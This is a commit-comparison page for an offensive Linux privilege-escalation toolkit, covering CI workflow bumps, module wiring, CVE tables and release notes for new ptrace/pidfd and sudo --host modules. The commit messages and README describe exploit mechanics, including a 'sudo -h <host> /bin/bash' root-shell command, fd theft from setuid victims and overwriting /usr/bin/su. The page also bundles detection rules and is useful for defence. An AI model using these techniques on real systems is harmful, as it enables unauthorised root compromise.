Compare commits

..

10 Commits

Author SHA1 Message Date
KaraZajac 60579f1602 release v0.9.8: two new LPE modules (ptrace_pidfd, sudo_host)
release / build (arm64) (push) Waiting to run
release / build (x86_64) (push) Waiting to run
release / build (x86_64-static / musl) (push) Waiting to run
release / build (arm64-static / musl) (push) Waiting to run
release / release (push) Blocked by required conditions
Tags the two modules added this cycle (already on main): ptrace_pidfd (CVE-2026-46333, Qualys __ptrace_may_access/pidfd_getfd credential-fd theft, bd63aab) and sudo_host (CVE-2025-32462, Stratascale sudo -h/--host policy bypass, dd5f4fa).

This commit bumps the version strings (skeletonkey.c, README, docs/index.html) and prepends the v0.9.8 RELEASE_NOTES entry. Corpus is now 41 modules / 36 CVEs / 28 verified. Tagging fires release.yml, which rebuilds + publishes the four prebuilt binaries via the Node-24 artifact actions bumped in v0.9.7.
2026-06-02 09:03:05 -04:00
KaraZajac dd5f4fa06d modules: add sudo_host (CVE-2025-32462, Stratascale sudo --host policy bypass)
Second new module this cycle; sibling of sudo_chwoot (CVE-2025-32463, same Stratascale/Rich Mirch disclosure). sudo's -h/--host option — meant only to pair with -l/--list — was honored when running a command, so a sudoers rule scoped to a host other than the current machine (and not ALL) is usable via 'sudo -h <host> <cmd>' for local root. Affects sudo 1.8.8 -> 1.9.17p0; fixed 1.9.17p1. CWE-863, CVSS 8.8 (not in KEV).

detect(): version-gate [1.8.8, 1.9.17p0] via ctx->host->sudo_version (the host-restricted rule itself isn't probeable unprivileged, so VULNERABLE means 'vulnerable sudo present'). exploit(): discovers an abusable host-restricted rule from readable sudoers (or SKELETONKEY_SUDO_HOST), witnesses with 'sudo -n -h <host> id -u', pops 'sudo -h <host> /bin/bash' (SKELETONKEY_SUDO_CMD) only on a uid-0 witness; honest EXPLOIT_FAIL + operator guidance otherwise. Shared 'sudo' family; structural, arch=any; safety rank 96. auditd/sigma/falco rules, NOTICE.md (Rich Mirch / Stratascale) + MODULE.md, 4 detect() test rows.

Wiring: registry, Makefile, cve_metadata (+JSON), verify-vm/targets.yaml (ubuntu1804 sudo 1.8.21p2 target, sweep pending). Docs: README + CVES.md + docs/index.html counts 40->41 modules / 35->36 CVEs; not-yet-verified lists + corpus pill.
2026-06-02 08:43:09 -04:00
KaraZajac 3d9db6b93e tests: add ptrace_pidfd (CVE-2026-46333) detect() coverage
Six detect() rows over synthetic host fingerprints: predates-gate at pidfd_getfd's 5.6 introduction (4.4 / 5.5.99 -> OK), vulnerable window (5.15.5 / 6.12.87 -> VULNERABLE), exact trixie backport (6.12.88 -> OK), and mainline inheritance (7.1.0 -> OK). Matches the harness per-module coverage convention; clears ptrace_pidfd from the coverage-gap report.
2026-06-02 08:29:10 -04:00
KaraZajac bd63aabd64 modules: add ptrace_pidfd (CVE-2026-46333, Qualys ptrace/pidfd_getfd cred-steal)
New module for Qualys's 2026-05-20 disclosure: a __ptrace_may_access logic flaw leaves a process dropping privileges briefly reachable past its dumpable boundary; pidfd_getfd(2) steals root-opened fds / authenticated channels from it. Default-distro, no userns, arch-agnostic (fd-steal, no shellcode).

detect(): version-pinned, predates-gate at pidfd_getfd's 5.6 introduction; kernel_range from Debian backports (5.10.251/6.1.172/6.12.88/7.0.7), drift-check clean. exploit(): spawns a setuid victim, pidfd_open()s it, sweeps pidfd_getfd() over its fd table during the cred-drop window, reports any uid-0-owned fd captured from a non-root context. Honest EXPLOIT_FAIL without a euid-0 witness; not yet VM-verified. mitigate(): yama ptrace_scope=2; cleanup() reverts. auditd/sigma/falco rules, NOTICE.md (Qualys TRU credit) + MODULE.md, safety rank 84.

Wiring: registry, Makefile, cve_metadata (+JSON source), verify-vm/targets.yaml (ubuntu2204 + mainline 5.15.5 target, sweep pending). Docs: README + CVES.md + docs/index.html counts 39->40 modules / 34->35 CVEs; added to not-yet-verified lists + corpus pill.
2026-06-02 08:26:24 -04:00
KaraZajac 1663df69d1 release v0.9.7: kernel_range drift fix + CI Node 24 readiness
release / build (arm64) (push) Waiting to run
release / build (x86_64) (push) Waiting to run
release / build (x86_64-static / musl) (push) Waiting to run
release / build (arm64-static / musl) (push) Waiting to run
release / release (push) Blocked by required conditions
Tags the maintenance work landed since v0.9.6. The fragnesia drift fix (35c33df) and checkout v4->v6 bump (6c148e2) are already on main; this commit adds the remaining CI Node-24 bumps + version strings.

release.yml: upload-artifact v4->v7, download-artifact v4->v8, softprops/action-gh-release v2->v3 (last of the Node-20-era actions; GitHub forces node24 on 2026-06-16). Reviewed each changelog — our default-zip/unique-name upload + full-set download is unaffected by the major-version breaking changes (opt-in direct uploads, download-by-ID path).

Version bumped to 0.9.7 (skeletonkey.c, README, docs/index.html) + v0.9.7 RELEASE_NOTES entry. Tagging this commit fires release.yml — the end-to-end test of the new artifact actions, incl. the Alpine/musl static job under node24.
2026-06-01 11:55:31 -04:00
KaraZajac 6c148e276a ci: bump actions/checkout v4 -> v6 (Node 24 readiness)
GitHub forces the Node 24 runtime on 2026-06-16; checkout@v4 runs on the deprecated Node 20. checkout v6.0.2 declares runs.using: node24. All 9 usages (5 in build.yml, 4 in release.yml) are bare checkouts with no inputs, so the major bump is a drop-in.

Still on Node-20-era majors in release.yml, deferred (multi-major jumps with breaking changes, and release.yml only runs on tag push): upload-artifact v4->v7, download-artifact v4->v8, softprops/action-gh-release v2->v3.
2026-06-01 11:40:05 -04:00
KaraZajac 35c33df16f fragnesia: add 5.10.257 kernel_range entry (Debian bullseye backport)
Weekly drift-check (build.yml schedule cron) went red 2026-06-01: Debian's security tracker now lists CVE-2026-46300 as fixed on the 5.10 branch (bullseye 5.10.257), a branch fragnesia's kernel_patched_from table didn't model. detect() would false-positive VULNERABLE on a patched bullseye 5.10.257+ host.

Adding {5,10,257} clears the only MISSING finding; refresh-kernel-ranges.py now exits 0. The 10 remaining drifted modules are INFO-only 'more permissive' entries the check tolerates.
2026-06-01 11:05:05 -04:00
KaraZajac 25c2afc3e9 release v0.9.6: --auto no longer prompts for sudo password
release / build (arm64) (push) Waiting to run
release / build (x86_64) (push) Waiting to run
release / build (x86_64-static / musl) (push) Waiting to run
release / build (arm64-static / musl) (push) Waiting to run
release / release (push) Blocked by required conditions
sudo_runas_neg1 and sudoedit_editor's detect() bodies invoked
'sudo -ln' (intending list + non-interactive). Some sudoers / PAM
configurations have been observed prompting for a password anyway
when the flags are bundled. That meant skeletonkey --auto --i-know
could hang on a sudo password prompt during the corpus scan — bad
ergonomics for an LPE tool whose whole point is to get root without
already having it.

Fix: write '-n -l' as separate flags, redirect stdin from /dev/null
so sudo cannot fall back to reading the tty even if PAM tries to
coerce one. Belt-and-suspenders against any tty prompt during --auto.
2026-05-28 21:50:26 -04:00
KaraZajac 13fbbce618 release v0.9.5: kernel_range drift cleanup (12 modules)
release / build (arm64) (push) Waiting to run
release / build (x86_64) (push) Waiting to run
release / build (x86_64-static / musl) (push) Waiting to run
release / build (arm64-static / musl) (push) Waiting to run
release / release (push) Blocked by required conditions
v0.9.4 fixed cve_metadata drift but exposed kernel_range drift which
had been hidden behind it. Applied refresh-kernel-ranges.py --patch
recommendations: 11 TOO_TIGHT findings (false-positive risk — our
threshold later than Debian's earliest known fix) + 8 MISSING (Debian
has fixes for branches we didn't model) across 12 modules.

All changes are strictly correctness-improving: detect() now correctly
returns OK on kernels Debian has on record as patched, instead of
false-positiving VULNERABLE.

The biggest single fix is reverting fragnesia from {7,0,10} (NVD) to
{7,0,9} (Debian's backported fix). I introduced that off-by-one in
v0.9.4 from misreading NVD's versionEndExcluding semantics.

Build's kernel_range drift step now exits 0 with 0 TOO_TIGHT + 0 MISSING.
2026-05-28 14:51:15 -04:00
KaraZajac bb5ca48fe1 ci: enable workflow_dispatch on build workflow
The drift-check job's if-gate already honors workflow_dispatch but
the trigger itself was never added to the on: block. Without it,
'gh workflow run build.yml' fails with 422. Found while validating
the v0.9.4 drift fix — wanted to confirm drift-check now passes
without waiting for next Monday's cron.
2026-05-28 13:37:35 -04:00
36 changed files with 1500 additions and 63 deletions
+9 -5
View File
@@ -10,6 +10,10 @@ on:
# Runs Monday 06:00 UTC; reports any new backports / KEV additions
# that haven't propagated into the corpus yet.
- cron: '0 6 * * 1'
workflow_dispatch:
# Lets us trigger the drift-check job on demand (e.g. after a
# metadata refresh) without waiting for the weekly cron. The
# drift-check job's `if:` gate honors this trigger.
jobs:
build:
@@ -21,7 +25,7 @@ jobs:
flavor: [default, debug]
name: build (${{ matrix.cc }} / ${{ matrix.flavor }})
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@v6
- name: install build deps
run: |
@@ -80,7 +84,7 @@ jobs:
runs-on: ubuntu-latest
name: sanitizers (ASan + UBSan)
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@v6
- name: install deps
run: |
sudo apt-get update -qq
@@ -111,7 +115,7 @@ jobs:
name: clang-tidy
continue-on-error: true
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@v6
- name: install deps
run: |
sudo apt-get update -qq
@@ -137,7 +141,7 @@ jobs:
runs-on: ubuntu-latest
name: drift-check (CISA KEV + Debian tracker)
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@v6
- name: cve_metadata drift
run: |
# Exits 1 if the federal data has drifted from our committed
@@ -164,7 +168,7 @@ jobs:
runs-on: ubuntu-latest
name: static-build
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@v6
- name: install build deps
run: |
sudo apt-get update -qq
+9 -9
View File
@@ -32,7 +32,7 @@ jobs:
name: build (${{ matrix.target }})
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@v6
- name: install build deps
run: |
@@ -52,7 +52,7 @@ jobs:
mv skeletonkey skeletonkey-${{ matrix.target }}
sha256sum skeletonkey-${{ matrix.target }} > skeletonkey-${{ matrix.target }}.sha256
- uses: actions/upload-artifact@v4
- uses: actions/upload-artifact@v7
with:
name: skeletonkey-${{ matrix.target }}
path: |
@@ -71,7 +71,7 @@ jobs:
container:
image: alpine:latest
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@v6
- name: install build deps
run: apk add --no-cache build-base linux-headers tar
- name: build static (musl)
@@ -87,7 +87,7 @@ jobs:
run: |
mv skeletonkey skeletonkey-x86_64-static
sha256sum skeletonkey-x86_64-static > skeletonkey-x86_64-static.sha256
- uses: actions/upload-artifact@v4
- uses: actions/upload-artifact@v7
with:
name: skeletonkey-x86_64-static
path: |
@@ -111,7 +111,7 @@ jobs:
runs-on: ubuntu-latest
name: build (arm64-static / musl)
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@v6
- name: run dockcross arm64-musl build
run: |
# Fetch the dockcross wrapper script (handles UID/GID,
@@ -130,7 +130,7 @@ jobs:
run: |
mv skeletonkey skeletonkey-arm64-static
sha256sum skeletonkey-arm64-static > skeletonkey-arm64-static.sha256
- uses: actions/upload-artifact@v4
- uses: actions/upload-artifact@v7
with:
name: skeletonkey-arm64-static
path: |
@@ -141,9 +141,9 @@ jobs:
needs: [build, build-static-x86_64, build-static-arm64]
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@v6
- uses: actions/download-artifact@v4
- uses: actions/download-artifact@v8
with:
path: dist
@@ -181,7 +181,7 @@ jobs:
fi
- name: publish release
uses: softprops/action-gh-release@v2
uses: softprops/action-gh-release@v3
with:
tag_name: ${{ steps.notes.outputs.tag }}
name: SKELETONKEY ${{ steps.notes.outputs.tag }}
+9 -5
View File
@@ -23,16 +23,16 @@ Status legend:
- 🔴 **DEPRECATED** — fully patched everywhere relevant; kept for
historical reference only
**Counts:** 39 modules total covering 34 CVEs; **28 of 34 CVEs
**Counts:** 41 modules total covering 36 CVEs; **28 of 36 CVEs
verified end-to-end in real VMs** via `tools/verify-vm/`. 🔵 0 · ⚪ 0
planned-with-stub · 🔴 0. (One ⚪ row below — CVE-2026-31402 — is a
*candidate* with no module, not counted as a module.)
> **Note on unverified rows:** `vmwgfx` / `dirty_cow` /
> `mutagen_astronomy` / `pintheft` / `vsock_uaf` / `fragnesia` are
> blocked by their target environment (VMware-only, kernel < 4.4,
> mainline panic, kmod not autoloaded, or t64-transition libs),
> not by missing code. See
> `mutagen_astronomy` / `pintheft` / `vsock_uaf` / `fragnesia` /
> `ptrace_pidfd` / `sudo_host` are blocked by their target environment (VMware-only,
> kernel < 4.4, mainline panic, kmod not autoloaded, t64-transition
> libs) or are brand-new this cycle, not by missing code. See
> [`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml).
>
> All three now have **pinned fix commits and version-based
@@ -93,6 +93,8 @@ root on a host can upstream their kernel's offsets via PR.
| CVE-2026-31635 | DirtyDecrypt / DirtyCBC — rxgk missing-COW in-place decrypt | LPE (page-cache write into a setuid binary) | mainline Linux 7.0 (commit `a2567217ade970ecc458144b6be469bc015b23e5`) | `dirtydecrypt` | 🟡 | **Ported from the public V12 PoC, exploit body not yet VM-verified.** Sibling of Copy Fail / Dirty Frag in the rxgk (AFS rxrpc encryption) subsystem. `fire()` sliding-window page-cache write, ~256 fires/byte; rewrites the first 120 bytes of `/usr/bin/su` with a setuid-shell ELF. detect() is version-pinned: kernels < 7.0 predate the vulnerable rxgk code (Debian: `<not-affected, vulnerable code not present>` for 5.10/6.1/6.12); kernels ≥ 7.0 have the fix. `--active` probe fires the primitive at a `/tmp` sentinel for empirical override. x86_64. |
| CVE-2026-46300 | Fragnesia — XFRM ESP-in-TCP `skb_try_coalesce` SHARED_FRAG loss | LPE (page-cache write into a setuid binary) | mainline 7.0.9; older Debian-stable branches still unfixed as of 2026-05-22 | `fragnesia` | 🟡 | **Ported from the public V12 PoC, exploit body not yet VM-verified.** Latent bug exposed by the Dirty Frag fix (`f4c50a4034e6`). AF_ALG GCM keystream table + userns/netns + XFRM ESP-in-TCP splice trigger pair; rewrites the first 192 bytes of `/usr/bin/su`. Needs `CONFIG_INET_ESPINTCP` + unprivileged userns (the in-scope question the old `_stubs/fragnesia_TBD` raised — resolved: ships, reports PRECOND_FAIL when the userns gate is closed). detect() is version-pinned at 7.0.9; older branches that haven't backported yet are flagged VULNERABLE on the version check (override empirically via `--active`). PoC's ANSI TUI dropped in the port. x86_64. |
| CVE-2026-41651 | Pack2TheRoot — PackageKit `InstallFiles` TOCTOU | LPE (userspace D-Bus daemon → `.deb` postinst as root) | PackageKit 1.3.5 (commit `76cfb675`, 2026-04-22) | `pack2theroot` | 🟡 | **Ported from the public Vozec PoC, not yet VM-verified.** Two back-to-back `InstallFiles` D-Bus calls — first `SIMULATE` (polkit bypass + queues a GLib idle), then immediately `NONE` + malicious `.deb` (overwrites the cached flags before the idle fires). GLib priority ordering makes the overwrite deterministic, not a race. Disclosure by **Deutsche Telekom security**. Affects PackageKit 1.0.2 → 1.3.4 — default-enabled on Ubuntu Desktop, Debian, Fedora, Rocky/RHEL via Cockpit. `detect()` reads `VersionMajor/Minor/Micro` over D-Bus → high-confidence verdict (vs. precondition-only for dirtydecrypt/fragnesia). Debian-family only (PoC's built-in `.deb` builder). Needs `libglib2.0-dev` at build time; Makefile autodetects via `pkg-config gio-2.0` and falls through to a stub when absent. |
| CVE-2026-46333 | ptrace `__ptrace_may_access` dumpable-race → `pidfd_getfd` credential-fd theft | LPE (steal a root-opened fd / authenticated channel from a process dropping privileges) | mainline 2026-05-14 (Debian backports 5.10.251 / 6.1.172 / 6.12.88 / 7.0.7) | `ptrace_pidfd` | 🟡 | **Qualys TRU disclosure (2026-05-20), exploit not yet VM-verified.** The `__ptrace_may_access` logic flaw leaves a process *dropping* privileges briefly reachable past its `dumpable` boundary; `pidfd_getfd(2)` rides that window. detect() is version-pinned with a predates-gate at `pidfd_getfd`'s 5.6 introduction. exploit() spawns a setuid victim (chage / pkexec / ssh-keysign), `pidfd_open()`s it and sweeps `pidfd_getfd()` across its descriptor table during the credential-drop window, reporting any uid-0-owned fd captured from a non-root context — honest `EXPLOIT_FAIL` without a euid-0 witness; the target-specific full root-pop is not bundled until VM-verified. Arch-agnostic (descriptor theft, no shellcode). `--mitigate` sets `kernel.yama.ptrace_scope=2`; `--cleanup` reverts it. Credit: Qualys TRU. |
| CVE-2025-32462 | sudo `-h`/`--host` policy bypass (Stratascale) | LPE (userspace; abuse a host-restricted sudoers rule for local root) | sudo 1.9.17p1 (2025-06-30) | `sudo_host` | 🟢 | **Stratascale CRU disclosure (Rich Mirch); sibling of `sudo_chwoot`.** sudo's `-h`/`--host` option — meant only to pair with `-l` — was honored when running a command, so a sudoers rule scoped to a host other than the current machine (and not ALL) is usable via `sudo -h <host> <cmd>`. Affects sudo 1.8.8 → 1.9.17p0; fixed 1.9.17p1. CWE-863, CVSS 8.8; not in KEV. detect() version-gates; exploit() finds an abusable host-restricted rule in readable sudoers (or `SKELETONKEY_SUDO_HOST`), witnesses with `sudo -n -h <host> id -u`, and pops a root shell only on a uid-0 witness — never fabricates root. Structural (no offsets/race); arch-agnostic. Most relevant to fleet-wide / LDAP / SSSD sudoers. Credit: Rich Mirch / Stratascale. |
## Operations supported per module
@@ -131,6 +133,8 @@ Symbols: ✓ = supported, — = not applicable / no automated path.
| dirtydecrypt | ✓ (+ `--active`) | ✓ (ported) | — (upgrade kernel) | ✓ (evict page cache) | ✓ (auditd + sigma) |
| fragnesia | ✓ (+ `--active`) | ✓ (ported) | — (upgrade kernel) | ✓ (evict page cache) | ✓ (auditd + sigma) |
| pack2theroot | ✓ (PK version via D-Bus) | ✓ (ported) | — (upgrade PackageKit ≥ 1.3.5) | ✓ (rm /tmp + `dpkg -r`) | ✓ (auditd + sigma) |
| ptrace_pidfd | ✓ | ✓ (primitive) | ✓ (yama ptrace_scope=2) | ✓ (restore ptrace_scope) | ✓ (auditd + sigma + falco) |
| sudo_host | ✓ | ✓ | — (upgrade sudo to 1.9.17p1) | — | ✓ (auditd + sigma + falco) |
## Pipeline for additions
+12 -1
View File
@@ -222,6 +222,16 @@ PIP_DIR := modules/nft_pipapo_cve_2024_26581
PIP_SRCS := $(PIP_DIR)/skeletonkey_modules.c
PIP_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PIP_SRCS))
# CVE-2026-46333 ptrace/pidfd_getfd __ptrace_may_access dumpable-race cred-steal (Qualys)
PPF_DIR := modules/ptrace_pidfd_cve_2026_46333
PPF_SRCS := $(PPF_DIR)/skeletonkey_modules.c
PPF_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PPF_SRCS))
# CVE-2025-32462 sudo -h/--host policy bypass (Stratascale; sudo family)
SUH_DIR := modules/sudo_host_cve_2025_32462
SUH_SRCS := $(SUH_DIR)/skeletonkey_modules.c
SUH_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(SUH_SRCS))
# Top-level dispatcher
TOP_OBJ := $(BUILD)/skeletonkey.o
@@ -234,7 +244,8 @@ MODULE_OBJS := $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) \
$(SAM_OBJS) $(SEQ_OBJS) $(SUE_OBJS) $(VMW_OBJS) \
$(DDC_OBJS) $(FGN_OBJS) $(P2TR_OBJS) \
$(SCHW_OBJS) $(UDB_OBJS) $(PTH_OBJS) \
$(MUT_OBJS) $(SRN_OBJS) $(TIO_OBJS) $(VSK_OBJS) $(PIP_OBJS)
$(MUT_OBJS) $(SRN_OBJS) $(TIO_OBJS) $(VSK_OBJS) $(PIP_OBJS) \
$(PPF_OBJS) $(SUH_OBJS)
ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(REGISTRY_ALL_OBJ) $(MODULE_OBJS)
+23 -17
View File
@@ -2,10 +2,10 @@
[![Latest release](https://img.shields.io/github/v/release/KaraZajac/SKELETONKEY?label=release)](https://github.com/KaraZajac/SKELETONKEY/releases/latest)
[![License: MIT](https://img.shields.io/badge/license-MIT-blue.svg)](LICENSE)
[![Modules](https://img.shields.io/badge/CVEs-28%20VM--verified%20%2F%2034-brightgreen.svg)](docs/VERIFICATIONS.jsonl)
[![Modules](https://img.shields.io/badge/CVEs-28%20VM--verified%20%2F%2036-brightgreen.svg)](docs/VERIFICATIONS.jsonl)
[![Platform: Linux](https://img.shields.io/badge/platform-linux-lightgrey.svg)](#)
> **One curated binary. 39 Linux LPE modules covering 34 CVEs from 2016 → 2026.
> **One curated binary. 41 Linux LPE modules covering 36 CVEs from 2016 → 2026.
> Every year 2016 → 2026 covered. 28 confirmed end-to-end against real Linux
> VMs via `tools/verify-vm/`. Detection rules in the box. One command picks
> the safest one and runs it.**
@@ -44,11 +44,12 @@ for every CVE in the bundle — same project for red and blue teams.
## Corpus at a glance
**39 modules covering 34 distinct CVEs** across the 2016 → 2026 LPE
timeline. **28 of the 34 CVEs have been empirically verified** in real
Linux VMs via `tools/verify-vm/`; the 6 still-pending entries are
**41 modules covering 36 distinct CVEs** across the 2016 → 2026 LPE
timeline. **28 of the 36 CVEs have been empirically verified** in real
Linux VMs via `tools/verify-vm/`; the 8 still-pending entries are
blocked by their target environment (legacy hypervisor, EOL kernel, or
the t64-transition libc rollout), not by missing code.
the t64-transition libc rollout) or are brand-new additions awaiting a
VM sweep, not by missing code.
| Tier | Count | What it means |
|---|---|---|
@@ -66,7 +67,7 @@ af_packet · af_packet2 · af_unix_gc · cls_route4 · fuse_legacy ·
nf_tables · nft_set_uaf · nft_fwd_dup · nft_payload ·
netfilter_xtcompat · stackrot · sudo_samedit · sequoia · vmwgfx
### Empirical verification (28 of 34 CVEs)
### Empirical verification (28 of 36 CVEs)
Records in [`docs/VERIFICATIONS.jsonl`](docs/VERIFICATIONS.jsonl) prove
each verdict against a known-target VM. Coverage:
@@ -79,15 +80,17 @@ each verdict against a known-target VM. Coverage:
| Debian 11 (5.10 stock) | cgroup_release_agent · fuse_legacy · netfilter_xtcompat · nft_fwd_dup |
| Debian 12 (6.1 stock + udisks2 / polkit allow rule) | pack2theroot · udisks_libblockdev |
**Not yet verified (6):** `vmwgfx` (VMware-guest-only — no public Vagrant
**Not yet verified (8):** `vmwgfx` (VMware-guest-only — no public Vagrant
box), `dirty_cow` (needs ≤ 4.4 kernel — older than every supported box),
`mutagen_astronomy` (mainline 4.14.70 kernel-panics on Ubuntu 18.04
rootfs — needs CentOS 6 / Debian 7), `pintheft` & `vsock_uaf` (kernel
modules not loaded on common Vagrant boxes), `fragnesia` (mainline 7.0.5
kernel .debs depend on the t64-transition libs from Ubuntu 24.04+/Debian
13+; no Parallels-supported box has those yet). All six are flagged in
[`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml) with
rationale.
13+; no Parallels-supported box has those yet), `ptrace_pidfd` (brand-new
2026-05 Qualys disclosure — added this cycle, VM sweep pending), `sudo_host`
(brand-new 2025-06 Stratascale disclosure — added this cycle, VM sweep
pending). All eight are flagged in
[`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml) with rationale.
See [`CVES.md`](CVES.md) for per-module CVE, kernel range, and
detection status. Run `skeletonkey --module-info <name>` for the
@@ -133,7 +136,7 @@ uid=1000(kara) gid=1000(kara) groups=1000(kara)
$ skeletonkey --auto --i-know
[*] auto: host=demo distro=ubuntu/24.04 kernel=5.15.0-56-generic arch=x86_64
[*] auto: active probes enabled — brief /tmp file touches and fork-isolated namespace probes
[*] auto: scanning 39 modules for vulnerabilities...
[*] auto: scanning 41 modules for vulnerabilities...
[+] auto: dirty_pipe VULNERABLE (safety rank 90)
[+] auto: cgroup_release_agent VULNERABLE (safety rank 98)
[+] auto: pwnkit VULNERABLE (safety rank 100)
@@ -202,8 +205,11 @@ also compile (modules with Linux-only headers stub out gracefully).
## Status
**v0.9.4 cut 2026-05-28.** 39 modules across 34 CVEs — **every
year 2016 → 2026 now covered**. v0.9.0 added 5 gap-fillers
**v0.9.8 cut 2026-06-02.** 41 modules across 36 CVEs — **every
year 2016 → 2026 now covered**. Newest: `ptrace_pidfd` (CVE-2026-46333,
Qualys's `__ptrace_may_access` / `pidfd_getfd` credential-steal) and
`sudo_host` (CVE-2025-32462, Stratascale's sudo `--host` policy bypass).
v0.9.0 added 5 gap-fillers
(`mutagen_astronomy` / `sudo_runas_neg1` / `tioscpgrp` / `vsock_uaf` /
`nft_pipapo`); v0.8.0 added 3 (`sudo_chwoot` / `udisks_libblockdev` /
`pintheft`). v0.9.1 and v0.9.2 are verification-only sweeps that took
@@ -238,13 +244,13 @@ Reliability + accuracy work in v0.7.x:
- `--auto` upgrades: per-detect 15s timeout, fork-isolated detect +
exploit, structured verdict table, scan summary, `--dry-run`.
Not yet verified (6 of 34 CVEs): `vmwgfx` (VMware-guest only),
Not yet verified (8 of 36 CVEs): `vmwgfx` (VMware-guest only),
`dirty_cow` (needs ≤ 4.4 kernel), `mutagen_astronomy` (mainline
4.14.70 panics on Ubuntu 18.04 rootfs — needs CentOS 6 / Debian 7),
`pintheft` + `vsock_uaf` (kernel modules not autoloaded on common
Vagrant boxes), `fragnesia` (mainline 7.0.5 .debs need t64-transition
libs from Ubuntu 24.04+ / Debian 13+; no Parallels-supported box has
those yet). Rationale in
libs from Ubuntu 24.04+ / Debian 13+), `ptrace_pidfd` + `sudo_host`
(brand-new this cycle, sweep pending). Rationale in
[`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml).
See [`ROADMAP.md`](ROADMAP.md) for the next planned modules and
+16
View File
@@ -284,6 +284,22 @@ const struct cve_metadata cve_metadata_table[] = {
.in_kev = false,
.kev_date_added = "",
},
{
.cve = "CVE-2026-46333",
.cwe = NULL,
.attack_technique = "T1068",
.attack_subtechnique = NULL,
.in_kev = false,
.kev_date_added = "",
},
{
.cve = "CVE-2025-32462",
.cwe = "CWE-863",
.attack_technique = "T1068",
.attack_subtechnique = NULL,
.in_kev = false,
.kev_date_added = "",
},
};
const size_t cve_metadata_table_len =
+2
View File
@@ -55,6 +55,8 @@ void skeletonkey_register_sudo_runas_neg1(void);
void skeletonkey_register_tioscpgrp(void);
void skeletonkey_register_vsock_uaf(void);
void skeletonkey_register_nft_pipapo(void);
void skeletonkey_register_ptrace_pidfd(void);
void skeletonkey_register_sudo_host(void);
/* Call every skeletonkey_register_<family>() above in canonical order.
* Single source of truth so the main binary and the test binary stay
+2
View File
@@ -51,4 +51,6 @@ void skeletonkey_register_all_modules(void)
skeletonkey_register_tioscpgrp();
skeletonkey_register_vsock_uaf();
skeletonkey_register_nft_pipapo();
skeletonkey_register_ptrace_pidfd();
skeletonkey_register_sudo_host();
}
+18
View File
@@ -304,5 +304,23 @@
"attack_subtechnique": null,
"in_kev": false,
"kev_date_added": ""
},
{
"cve": "CVE-2026-46333",
"module_dir": "ptrace_pidfd_cve_2026_46333",
"cwe": null,
"attack_technique": "T1068",
"attack_subtechnique": null,
"in_kev": false,
"kev_date_added": ""
},
{
"cve": "CVE-2025-32462",
"module_dir": "sudo_host_cve_2025_32462",
"cwe": "CWE-863",
"attack_technique": "T1068",
"attack_subtechnique": null,
"in_kev": false,
"kev_date_added": ""
}
]
+123
View File
@@ -1,3 +1,126 @@
## SKELETONKEY v0.9.8 — two new LPE modules (ptrace_pidfd, sudo_host)
Adds the two most compelling recent Linux LPEs not already in the corpus,
taking it to **41 modules / 36 CVEs** (every year 2016 → 2026 still
covered).
**`ptrace_pidfd` — CVE-2026-46333** (Qualys TRU, 2026-05-20). A logic
flaw in the kernel's `__ptrace_may_access()` path leaves a process that
is *dropping* its credentials briefly reachable past its `dumpable`
boundary; `pidfd_getfd(2)` rides that window to steal a root-opened file
descriptor or authenticated channel from a transiently-privileged setuid
binary (chage / pkexec / ssh-keysign) or root daemon. Default-distro, no
userns, architecture-agnostic (descriptor theft, no shellcode). detect()
is version-pinned (predates-gate at pidfd_getfd's 5.6 introduction;
Debian backports 5.10.251 / 6.1.172 / 6.12.88 / 7.0.7). `--mitigate`
sets `kernel.yama.ptrace_scope=2`.
**`sudo_host` — CVE-2025-32462** (Rich Mirch / Stratascale, 2025-06-30;
sibling of v0.8.0's `sudo_chwoot`). sudo's `-h`/`--host` option, meant
only to pair with `-l`, was honored when running a command — so a
sudoers rule scoped to a host other than the current machine (and not
ALL) is usable via `sudo -h <host> <cmd>` for local root. Affects sudo
1.8.8 → 1.9.17p0 (fixed 1.9.17p1); CWE-863, CVSS 8.8. Most relevant to
fleet-wide / LDAP / SSSD sudoers.
Both are honest ports: detect() is version-pinned and unit-tested (10 new
detect() rows, all green in CI), and exploit() fires the real primitive
and returns `EXPLOIT_FAIL` unless it can witness euid 0 — never
fabricating root. Neither is VM-verified yet (both flagged "sweep
pending" in `tools/verify-vm/targets.yaml`), so the verified count stays
28 of 36. Each ships auditd + sigma + falco rules, MITRE ATT&CK + CWE
metadata, and credits the original researcher in its `NOTICE.md`.
## SKELETONKEY v0.9.7 — kernel_range drift fix + CI Node 24 readiness
Two maintenance fixes, no new modules.
**`fragnesia` kernel_range drift.** Debian backported CVE-2026-46300 to
the 5.10 oldstable branch (bullseye 5.10.257), a branch the module's
`kernel_patched_from` table didn't model — on a patched bullseye host
`detect()` would have false-positived VULNERABLE. Added the `{5,10,257}`
entry; the weekly `refresh-kernel-ranges.py` drift gate is green again.
(The other flagged modules are INFO-only "more permissive" thresholds
the check tolerates by design.)
**CI Node 24 readiness.** GitHub forces the Node 24 Actions runtime on
2026-06-16 and removes Node 20. Bumped every workflow action off its
Node-20 line:
- `actions/checkout` v4 → v6
- `actions/upload-artifact` v4 → v7
- `actions/download-artifact` v4 → v8
- `softprops/action-gh-release` v2 → v3
Each was reviewed against its changelog: the artifact flow uploads
default-zipped, uniquely-named artifacts and downloads the full set, so
none of the major-version breaking changes (opt-in direct uploads,
download-by-ID path changes) apply. This release is itself the
end-to-end test of the new artifact actions.
## SKELETONKEY v0.9.6 — `--auto` no longer prompts for sudo password
Two sudo modules' `detect()` bodies invoked `sudo -ln` to read the
